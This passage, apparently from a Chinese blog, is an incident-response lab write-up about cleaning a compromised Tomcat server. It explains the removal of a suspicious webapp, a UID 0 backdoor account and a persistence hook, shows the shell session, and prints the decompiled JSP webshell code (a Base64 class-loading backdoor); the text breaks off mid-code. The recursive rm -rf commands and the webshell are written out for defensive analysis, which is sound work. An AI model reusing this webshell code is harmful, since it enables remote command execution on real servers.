\u6765\u8be6\u7ec6\u89e3\u91ca&#xff1a;<\/p>\n<h3>1. \u4e3a\u4ec0\u4e48\u8981\u5220\u9664\u8fd9\u4e9b\u6587\u4ef6&#xff1f;<\/h3>\n<h4>rm -rf \/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a<\/h4>\n<p>\u89e3\u91ca&#xff1a;\u8fd9\u662fTomcat\u7684JSP\u7f16\u8bd1\u7f13\u5b58\u76ee\u5f55\u3002<\/p>\n<ul>\n<li>\u5f53JSP\u6587\u4ef6\u88ab\u8bbf\u95ee\u65f6&#xff0c;Tomcat\u4f1a\u5c06\u5176\u7f16\u8bd1\u6210Java\u7c7b\u6587\u4ef6&#xff08;.class&#xff09;\u5e76\u5b58\u50a8\u5728\u8fd9\u91cc<\/li>\n<li>\u524d\u9762\u67e5\u770b\u7684login_jsp.java\u6587\u4ef6\u5c31\u662f\u4ece\u8fd9\u4e2a\u76ee\u5f55\u53d1\u73b0\u7684<\/li>\n<li>\u5220\u9664\u8fd9\u4e2a\u76ee\u5f55\u53ef\u4ee5\u786e\u4fdd\u540e\u95e8\u4ee3\u7801\u7684\u7f16\u8bd1\u7248\u672c\u88ab\u5f7b\u5e95\u6e05\u9664<\/li>\n<li>\u4e0b\u6b21Tomcat\u542f\u52a8\u65f6&#xff0c;\u5982\u679c\u6709\u5e72\u51c0\u7684JSP\u6e90\u6587\u4ef6&#xff0c;\u4f1a\u81ea\u52a8\u91cd\u65b0\u7f16\u8bd1<\/li>\n<\/ul>\n<h4>rm -rf \/opt\/apache-tomcat-8.5.100\/webapps\/a\/<\/h4>\n<p>\u89e3\u91ca&#xff1a;\u8fd9\u662f\u53ef\u7591\u7684Web\u5e94\u7528\u76ee\u5f55\u3002<\/p>\n<ul>\n<li>\u6b63\u5e38\u7684Tomcat\u9ed8\u8ba4\u5e94\u7528\u5305\u62ec&#xff1a;docs\u3001examples\u3001host-manager\u3001manager\u3001ROOT<\/li>\n<li>a\u662f\u4e00\u4e2a\u975e\u5e38\u7b80\u77ed\u3001\u53ef\u7591\u7684\u76ee\u5f55\u540d&#xff0c;\u5f88\u53ef\u80fd\u662f\u653b\u51fb\u8005\u4e0a\u4f20\u7684\u540e\u95e8\u5e94\u7528<\/li>\n<li>\u653b\u51fb\u8005\u53ef\u80fd\u901a\u8fc7\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u5c06\u6076\u610f\u5e94\u7528\u90e8\u7f72\u5230\u8fd9\u4e2a\u76ee\u5f55<\/li>\n<\/ul>\n<h4>rm -rf \/opt\/apache-tomcat-8.5.100\/webapps\/examples\/<\/h4>\n<p>\u89e3\u91ca&#xff1a;\u5220\u9664Tomcat\u7684\u793a\u4f8b\u5e94\u7528\u3002<\/p>\n<ul>\n<li>examples\u662fTomcat\u7684\u9ed8\u8ba4\u793a\u4f8b\u5e94\u7528&#xff0c;\u7ecf\u5e38\u88ab\u653b\u51fb\u8005\u5229\u7528<\/li>\n<li>\u793a\u4f8b\u5e94\u7528\u4e2d\u53ef\u80fd\u5b58\u5728\u5df2\u77e5\u6f0f\u6d1e&#xff08;\u5982\u6587\u4ef6\u4e0a\u4f20\u3001\u4ee3\u7801\u6267\u884c\u7b49&#xff09;<\/li>\n<li>\u5728\u751f\u4ea7\u73af\u5883\u4e2d&#xff0c;\u5e94\u8be5\u5220\u9664\u6240\u6709\u793a\u4f8b\u5e94\u7528\u4ee5\u51cf\u5c11\u653b\u51fb\u9762<\/li>\n<li>\u653b\u51fb\u8005\u53ef\u80fd\u5229\u7528\u793a\u4f8b\u5e94\u7528\u4e2d\u7684\u529f\u80fd\u6216\u6f0f\u6d1e\u6765\u90e8\u7f72\u540e\u95e8<\/li>\n<\/ul>\n<h3>2. \u4e3a\u4ec0\u4e48\u8981\u67e5\u770blogin_jsp.java\u6587\u4ef6&#xff1f;<\/h3>\n<h4>\u4e3a\u4ec0\u4e48\u77e5\u9053\u8fd9\u91cc\u53ef\u80fd\u6709\u95ee\u9898&#xff1a;<\/h4>\n<li>\n<p>\u76ee\u5f55\u7ed3\u6784\u53ef\u7591&#xff1a;<\/p>\n<ul>\n<li>\/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/<\/li>\n<li>a\u662f\u4e2a\u53ef\u7591\u7684\u5e94\u7528\u540d&#xff0c;\u901a\u5e38\u4e0d\u4f1a\u7528\u5355\u4e2a\u5b57\u6bcd\u547d\u540d\u5e94\u7528<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u5b89\u5168\u8c03\u67e5\u7684\u5e38\u89c4\u6d41\u7a0b&#xff1a;<\/p>\n<ul>\n<li>\u653b\u51fb\u8005\u5e38\u7528\u7684\u540e\u95e8\u624b\u6cd5\u5c31\u662f\u5728JSP\u6587\u4ef6\u4e2d\u63d2\u5165\u6076\u610f\u4ee3\u7801<\/li>\n<li>JSP\u540e\u95e8\u53ef\u4ee5\u901a\u8fc7HTTP\u8bf7\u6c42\u76f4\u63a5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/li>\n<li>\u8c03\u67e5\u65f6\u901a\u5e38\u4f1a\u68c0\u67e5work\u76ee\u5f55\u4e0b\u7684\u7f16\u8bd1\u6587\u4ef6&#xff0c;\u56e0\u4e3a&#xff1a;\n<ul>\n<li>\u6e90JSP\u6587\u4ef6\u53ef\u80fd\u5df2\u88ab\u5220\u9664\u6216\u9690\u85cf<\/li>\n<li>\u4f46\u7f16\u8bd1\u540e\u7684Java\u6587\u4ef6\u4ecd\u5b58\u5728work\u76ee\u5f55\u4e2d<\/li>\n<li>Java\u6587\u4ef6\u4e2d\u53ef\u80fd\u5305\u542b\u66f4\u6613\u8bfb\u7684\u6076\u610f\u4ee3\u7801\u903b\u8f91<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u6587\u4ef6\u540d\u7684\u53ef\u7591\u6027&#xff1a;<\/p>\n<ul>\n<li>login_jsp.java &#8211; \u767b\u5f55\u9875\u9762\u7684JSP\u6587\u4ef6<\/li>\n<li>\u653b\u51fb\u8005\u7ecf\u5e38\u9009\u62e9\u767b\u5f55\u9875\u9762\u8fdb\u884c\u7be1\u6539&#xff0c;\u56e0\u4e3a&#xff1a;\n<ul>\n<li>\u767b\u5f55\u9875\u9762\u7ecf\u5e38\u88ab\u8bbf\u95ee&#xff0c;\u540e\u95e8\u5bb9\u6613\u89e6\u53d1<\/li>\n<li>\u767b\u5f55\u529f\u80fd\u6d89\u53ca\u7528\u6237\u8f93\u5165&#xff0c;\u4fbf\u4e8e\u53c2\u6570\u4f20\u9012<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u4ece\u7cfb\u7edf\u8fdb\u7a0b\u63a8\u65ad&#xff1a;<\/p>\n<ul>\n<li>\u4e4b\u524dps -aux\u663e\u793aTomcat\u8fdb\u7a0b\u5728\u8fd0\u884c<\/li>\n<li>\u53d1\u73b0\u53ef\u7591\u8fdb\u7a0b\/var\/crash\/tomcat<\/li>\n<li>\u81ea\u7136\u4f1a\u68c0\u67e5Tomcat\u76f8\u5173\u6587\u4ef6\u5bfb\u627e\u540e\u95e8<\/li>\n<\/ul>\n<\/li>\n<h4>JSP\u540e\u95e8\u7684\u5178\u578b\u7279\u5f81&#xff1a;<\/h4>\n<p>\u4ecelogin_jsp.java\u5185\u5bb9\u53ef\u4ee5\u770b\u51fa&#xff1a;<\/p>\n<ul>\n<li>\u81ea\u5b9a\u4e49\u4e86PAREN_MATCHING\u7c7b\u52a0\u8f7d\u5668&#xff08;\u7528\u4e8e\u52a8\u6001\u52a0\u8f7d\u6076\u610f\u7c7b&#xff09;<\/li>\n<li>\u6709transparent\u65b9\u6cd5\u5904\u7406Base64\u89e3\u7801&#xff08;\u7528\u4e8e\u9690\u85cf\u6076\u610f\u4ee3\u7801&#xff09;<\/li>\n<li>\u4ece\u53c2\u6570jkXrownW\u63a5\u6536Base64\u7f16\u7801\u7684payload<\/li>\n<li>\u4f7f\u7528pushdown().newInstance()\u52a8\u6001\u6267\u884c\u6076\u610f\u4ee3\u7801<\/li>\n<li>\u8fd9\u662f\u5178\u578b\u7684JSP Webshell\u7279\u5f81<\/li>\n<\/ul>\n<h3>3. dev\u4e3a\u4ec0\u4e48\u662f\u53ef\u7591\u7528\u6237&#xff1f;<\/h3>\n<p>\u4ececat \/etc\/passwd\u7684\u8f93\u51fa\u53ef\u4ee5\u770b\u5230&#xff1a;<\/p>\n<p>dev:x:0:0:dev:\/dev:\/bin\/bash<\/p>\n<p>\u53ef\u7591\u70b9\u5206\u6790&#xff1a;<\/p>\n<h4>1. UID\u4e3a0&#xff08;root\u6743\u9650&#xff09;<\/h4>\n<ul>\n<li>\u6b63\u5e38\u60c5\u51b5\u53ea\u6709root\u7528\u6237\u7684UID\u662f0<\/li>\n<li>\u989d\u5916\u7684UID 0\u7528\u6237\u662f\u4e25\u91cd\u7684\u5b89\u5168\u9690\u60a3<\/li>\n<li>\u653b\u51fb\u8005\u521b\u5efaUID 0\u7684\u540e\u95e8\u8d26\u6237&#xff0c;\u53ef\u4ee5\u968f\u65f6\u4ee5root\u6743\u9650\u767b\u5f55<\/li>\n<\/ul>\n<h4>2. \u4e3b\u76ee\u5f55\u5f02\u5e38<\/h4>\n<ul>\n<li>\u4e3b\u76ee\u5f55\u8bbe\u7f6e\u4e3a\/dev&#xff08;\u8bbe\u5907\u6587\u4ef6\u76ee\u5f55&#xff09;<\/li>\n<li>\u6b63\u5e38\u7684\u7528\u6237\u4e3b\u76ee\u5f55\u5e94\u8be5\u5728\/home\/username\u4e0b<\/li>\n<li>\/dev\u662f\u7cfb\u7edf\u8bbe\u5907\u76ee\u5f55&#xff0c;\u4e0d\u9002\u5408\u4f5c\u4e3a\u7528\u6237\u4e3b\u76ee\u5f55<\/li>\n<\/ul>\n<h4>3. \u7528\u6237\u540d\u53ef\u7591<\/h4>\n<ul>\n<li>dev\u53ef\u80fd\u662f\u8bd5\u56fe\u4f2a\u88c5\u6210&#034;\u5f00\u53d1\u4eba\u5458&#034;\u8d26\u6237<\/li>\n<li>\u4f46\u5728\u751f\u4ea7\u670d\u52a1\u5668\u4e0a&#xff0c;\u4e0d\u5e94\u8be5\u6709\u8fd9\u79cd\u901a\u7528\u540d\u79f0\u7684\u7ba1\u7406\u5458\u8d26\u6237<\/li>\n<li>\u771f\u5b9e\u7684\u5f00\u53d1\u8d26\u6237\u5e94\u8be5\u6709\u5177\u4f53\u7684\u4eba\u5458\u540d\u79f0<\/li>\n<\/ul>\n<h4>4. shell\u914d\u7f6e<\/h4>\n<ul>\n<li>\u4f7f\u7528\/bin\/bash &#8211; \u5b8c\u6574\u7684\u4ea4\u4e92\u5f0fshell<\/li>\n<li>\u653b\u51fb\u8005\u521b\u5efa\u7684\u8d26\u6237\u901a\u5e38\u914d\u7f6e\u5b8c\u6574shell\u4ee5\u4fbf\u64cd\u4f5c<\/li>\n<\/ul>\n<h2>\u9644\u5f552&#xff1a;<\/h2>\n<h3>\u4e0d\u6267\u884c\u5220\u9664\u53ef\u7591\u7528\u6237\u7684\u6307\u4ee4&#xff0c;\u65e0\u6cd5\u5b8c\u6210flag\u68c0\u67e5<\/h3>\n<p>\u7279\u610f\u91cd\u65b0\u505a\u4e86\u4e00\u904d&#xff0c;\u4e0d\u5220\u9664\u53ef\u7591\u7528\u6237&#xff0c;\u5c1d\u8bd5\u68c0\u67e5flag&#xff0c;\u5931\u8d25\u4e86&#xff0c;\u6267\u884c\u5220\u9664\u547d\u4ee4\u540e&#xff0c;\u867d\u7136\u6ca1\u6709\u5220\u9664\u6210\u529f&#xff0c;\u4f46\u68c0\u67e5\u4e5f\u901a\u8fc7\u4e86\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113302-6a6741ee7bcbe.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u590d\u73b0\u8fc7\u7a0b\u7684\u5b8c\u6574\u7248\u547d\u4ee4<\/h3>\n<p>csirt3-d316dd631f5c402f login: root<br \/>\nPassword:<br \/>\nLinux csirt3-d316dd631f5c402f <span class=\"token number\">6.8<\/span>.0-71-generic <span class=\"token comment\">#71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64<\/span><\/p>\n<p>The programs included with the Debian GNU\/Linux system are <span class=\"token function\">free<\/span> software<span class=\"token punctuation\">;<\/span><br \/>\nthe exact distribution terms <span class=\"token keyword\">for<\/span> each program are described <span class=\"token keyword\">in<\/span> the<br \/>\nindividual files <span class=\"token keyword\">in<\/span> \/usr\/share\/doc\/*\/copyright.<\/p>\n<p>Debian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br \/>\npermitted by applicable law.<br \/>\nroot&#064;csirt3-d316dd631f5c402f:~<span class=\"token comment\"># dir                     <\/span><br \/>\nflagcheck<br \/>\nroot&#064;csirt3-d316dd631f5c402f:~<span class=\"token comment\"># ps -aux<\/span><br \/>\n<span class=\"token environment constant\">USER<\/span>         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND<br \/>\nroot           <span class=\"token number\">1<\/span>  <span class=\"token number\">0.5<\/span>  <span class=\"token number\">0.6<\/span> <span class=\"token number\">1146696<\/span> <span class=\"token number\">97428<\/span> ?       Ssl  <span class=\"token number\">12<\/span>:46   <span class=\"token number\">0<\/span>:00 <span class=\"token function\">node<\/span> \/pnpm\/global\/5\/.pnpm\/pnpm&#064;10.28.2\/node_modules\/pnpm\/bin\/pnpm.cjs start <span class=\"token parameter variable\">-b<\/span> \/<br \/>\nroot          <span class=\"token number\">26<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">3608<\/span>  <span class=\"token number\">2176<\/span> ?        S    <span class=\"token number\">12<\/span>:46   <span class=\"token number\">0<\/span>:00 <span class=\"token function\">cron<\/span> <span class=\"token parameter variable\">-f<\/span><br \/>\nroot          <span class=\"token number\">35<\/span>  <span class=\"token number\">2.9<\/span>  <span class=\"token number\">0.5<\/span> <span class=\"token number\">3186536<\/span> <span class=\"token number\">89456<\/span> ?       Sl   <span class=\"token number\">12<\/span>:46   <span class=\"token number\">0<\/span>:01 \/opt\/jre8u462\/bin\/java <span class=\"token parameter variable\">-Djava.util.logging.config.file<\/span><span class=\"token operator\">&#061;<\/span>\/opt\/apache-tomcat-8.5.100\/conf\/logging.properties <span class=\"token parameter variable\">-Djava.util.logging.manager<\/span><span class=\"token operator\">&#061;<\/span>org.apache.juli.ClassLoad<br \/>\nroot          <span class=\"token number\">61<\/span>  <span class=\"token number\">0.6<\/span>  <span class=\"token number\">0.6<\/span> <span class=\"token number\">1214804<\/span> <span class=\"token number\">99684<\/span> ?       Sl   <span class=\"token number\">12<\/span>:46   <span class=\"token number\">0<\/span>:00 <span class=\"token function\">node<\/span> \/pnpm\/.tools\/pnpm\/9.4.0\/bin\/pnpm start <span class=\"token parameter variable\">-b<\/span> \/<br \/>\nroot          <span class=\"token number\">76<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">2592<\/span>  <span class=\"token number\">1536<\/span> ?        S    <span class=\"token number\">12<\/span>:46   <span class=\"token number\">0<\/span>:00 <span class=\"token function\">sh<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token assign-left variable\">NODE_ENV<\/span><span class=\"token operator\">&#061;<\/span>production <span class=\"token function\">node<\/span> <span class=\"token builtin class-name\">.<\/span> <span class=\"token string\">&#034;-b&#034;<\/span> <span class=\"token string\">&#034;\/&#034;<\/span><br \/>\nroot          <span class=\"token number\">77<\/span>  <span class=\"token number\">1.0<\/span>  <span class=\"token number\">0.5<\/span> <span class=\"token number\">11759328<\/span> <span class=\"token number\">88740<\/span> ?      Rl   <span class=\"token number\">12<\/span>:46   <span class=\"token number\">0<\/span>:00 <span class=\"token function\">node<\/span> <span class=\"token builtin class-name\">.<\/span> <span class=\"token parameter variable\">-b<\/span> \/<br \/>\nroot         <span class=\"token number\">102<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">4280<\/span>  <span class=\"token number\">2304<\/span> ?        S    <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 CRON <span class=\"token parameter variable\">-f<\/span><br \/>\nroot         <span class=\"token number\">103<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">2584<\/span>  <span class=\"token number\">1536<\/span> ?        Ss   <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 \/bin\/sh <span class=\"token parameter variable\">-c<\/span> \/var\/crash\/tomcat<br \/>\nroot         <span class=\"token number\">104<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>    <span class=\"token number\">160<\/span>     <span class=\"token number\">0<\/span> ?        S    <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 \/var\/crash\/tomcat<br \/>\nroot         <span class=\"token number\">111<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">4840<\/span>  <span class=\"token number\">3100<\/span> pts\/1    Ss   <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 login <span class=\"token parameter variable\">-h<\/span> localhost<br \/>\nroot         <span class=\"token number\">117<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">4196<\/span>  <span class=\"token number\">3584<\/span> pts\/1    S    <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 <span class=\"token parameter variable\">-bash<\/span><br \/>\nroot         <span class=\"token number\">119<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>    <span class=\"token number\">160<\/span>     <span class=\"token number\">0<\/span> pts\/1    S    <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 \/var\/crash\/tomcat<br \/>\nroot         <span class=\"token number\">122<\/span>  <span class=\"token number\">0.0<\/span>  <span class=\"token number\">0.0<\/span>   <span class=\"token number\">8068<\/span>  <span class=\"token number\">4224<\/span> pts\/1    R&#043;   <span class=\"token number\">12<\/span>:47   <span class=\"token number\">0<\/span>:00 <span class=\"token function\">ps<\/span> <span class=\"token parameter variable\">-aux<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:~<span class=\"token comment\"># rm -rf \/var\/crash\/tomcat<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:~<span class=\"token comment\"># cat \/etc\/profile<\/span><br \/>\n<span class=\"token comment\"># \/etc\/profile: system-wide .profile file for the Bourne shell (sh(1))<\/span><br \/>\n<span class=\"token comment\"># and Bourne compatible shells (bash(1), ksh(1), ash(1), &#8230;).<\/span><\/p>\n<p><span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token string\">&#034;<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">id<\/span> <span class=\"token parameter variable\">-u<\/span><span class=\"token variable\">)<\/span><\/span>&#034;<\/span> <span class=\"token parameter variable\">-eq<\/span> <span class=\"token number\">0<\/span> <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n  <span class=\"token assign-left variable\"><span class=\"token environment constant\">PATH<\/span><\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin&#034;<\/span><br \/>\n<span class=\"token keyword\">else<\/span><br \/>\n  <span class=\"token assign-left variable\"><span class=\"token environment constant\">PATH<\/span><\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games&#034;<\/span><br \/>\n<span class=\"token keyword\">fi<\/span><br \/>\n<span class=\"token builtin class-name\">export<\/span> <span class=\"token environment constant\">PATH<\/span><\/p>\n<p><span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">${<span class=\"token environment constant\">PS1<\/span>-}<\/span>&#034;<\/span> <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n  <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token string\">&#034;<span class=\"token variable\">${<span class=\"token environment constant\">BASH<\/span>-}<\/span>&#034;<\/span> <span class=\"token punctuation\">]<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token string\">&#034;<span class=\"token environment constant\">$BASH<\/span>&#034;<\/span> <span class=\"token operator\">!&#061;<\/span> <span class=\"token string\">&#034;\/bin\/sh&#034;<\/span> <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n    <span class=\"token comment\"># The file bash.bashrc already sets the default PS1.<\/span><br \/>\n    <span class=\"token comment\"># PS1&#061;&#039;\\\\h:\\\\w\\\\$ &#039;<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token parameter variable\">-f<\/span> \/etc\/bash.bashrc <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n      <span class=\"token builtin class-name\">.<\/span> \/etc\/bash.bashrc<br \/>\n    <span class=\"token keyword\">fi<\/span><br \/>\n  <span class=\"token keyword\">else<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token string\">&#034;<span class=\"token variable\"><span class=\"token variable\">$(<\/span><span class=\"token function\">id<\/span> <span class=\"token parameter variable\">-u<\/span><span class=\"token variable\">)<\/span><\/span>&#034;<\/span> <span class=\"token parameter variable\">-eq<\/span> <span class=\"token number\">0<\/span> <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n      <span class=\"token assign-left variable\"><span class=\"token environment constant\">PS1<\/span><\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;# &#039;<\/span><br \/>\n    <span class=\"token keyword\">else<\/span><br \/>\n      <span class=\"token assign-left variable\"><span class=\"token environment constant\">PS1<\/span><\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;$ &#039;<\/span><br \/>\n    <span class=\"token keyword\">fi<\/span><br \/>\n  <span class=\"token keyword\">fi<\/span><br \/>\n<span class=\"token keyword\">fi<\/span><\/p>\n<p><span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token parameter variable\">-d<\/span> \/etc\/profile.d <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n  <span class=\"token keyword\">for<\/span> <span class=\"token for-or-select variable\">i<\/span> <span class=\"token keyword\">in<\/span> \/etc\/profile.d\/*.sh<span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">do<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token parameter variable\">-r<\/span> <span class=\"token variable\">$i<\/span> <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n      <span class=\"token builtin class-name\">.<\/span> <span class=\"token variable\">$i<\/span><br \/>\n    <span class=\"token keyword\">fi<\/span><br \/>\n  <span class=\"token keyword\">done<\/span><br \/>\n  <span class=\"token builtin class-name\">unset<\/span> i<br \/>\n<span class=\"token keyword\">fi<\/span><br \/>\n\/var\/crash\/tomcat <span class=\"token operator\">&amp;<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:~<span class=\"token comment\"># crontab -r<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:~<span class=\"token comment\"># cd \/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<span class=\"token comment\"># cat login_jsp.java<\/span><br \/>\n\/*<br \/>\n * Generated by the Jasper component of Apache Tomcat<br \/>\n * Version: Apache Tomcat\/8.5.100<br \/>\n * Generated at: <span class=\"token number\">2025<\/span>-08-07 02:44:56 UTC<br \/>\n * Note: The last modified <span class=\"token function\">time<\/span> of this <span class=\"token function\">file<\/span> was <span class=\"token builtin class-name\">set<\/span> to<br \/>\n *       the last modified <span class=\"token function\">time<\/span> of the <span class=\"token builtin class-name\">source<\/span> <span class=\"token function\">file<\/span> after<br \/>\n *       generation to assist with modification tracking.<br \/>\n *\/<br \/>\npackage org.apache.jsp<span class=\"token punctuation\">;<\/span><\/p>\n<p><span class=\"token function\">import<\/span> javax.servlet.*<span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token function\">import<\/span> javax.servlet.http.*<span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token function\">import<\/span> javax.servlet.jsp.*<span class=\"token punctuation\">;<\/span><\/p>\n<p>public final class login_jsp extends org.apache.jasper.runtime.HttpJspBase<br \/>\n    implements org.apache.jasper.runtime.JspSourceDependent,<br \/>\n                 org.apache.jasper.runtime.JspSourceImports <span class=\"token punctuation\">{<\/span><\/p>\n<p>class PAREN_MATCHING extends ClassLoader<span class=\"token punctuation\">{<\/span><br \/>\n  PAREN_MATCHING<span class=\"token punctuation\">(<\/span>ClassLoader c<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span>super<span class=\"token punctuation\">(<\/span>c<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><span class=\"token punctuation\">}<\/span><br \/>\n  public Class pushdown<span class=\"token punctuation\">(<\/span>byte<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> b<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token builtin class-name\">return<\/span> super.defineClass<span class=\"token punctuation\">(<\/span>b, <span class=\"token number\">0<\/span>, b.length<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\npublic byte<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> transparent<span class=\"token punctuation\">(<\/span>String str<span class=\"token punctuation\">)<\/span> throws Exception <span class=\"token punctuation\">{<\/span><br \/>\n  Class base64<span class=\"token punctuation\">;<\/span><br \/>\n  byte<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> value <span class=\"token operator\">&#061;<\/span> null<span class=\"token punctuation\">;<\/span><br \/>\n  try <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token assign-left variable\">base64<\/span><span class=\"token operator\">&#061;<\/span>Class.forName<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;sun.misc.BASE64Decoder&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    Object decoder <span class=\"token operator\">&#061;<\/span> base64.newInstance<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    value <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">(<\/span>byte<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span>decoder.getClass<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>.getMethod<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;decodeBuffer&#034;<\/span>, new Class<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span>String.class <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span>.invoke<span class=\"token punctuation\">(<\/span>decoder, new Object<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span> str <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span> catch <span class=\"token punctuation\">(<\/span>Exception e<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    try <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token assign-left variable\">base64<\/span><span class=\"token operator\">&#061;<\/span>Class.forName<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;java.util.Base64&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      Object decoder <span class=\"token operator\">&#061;<\/span> base64.getMethod<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;getDecoder&#034;<\/span>, null<span class=\"token punctuation\">)<\/span>.invoke<span class=\"token punctuation\">(<\/span>base64, null<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      value <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">(<\/span>byte<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span>decoder.getClass<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>.getMethod<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;decode&#034;<\/span>, new Class<span class=\"token 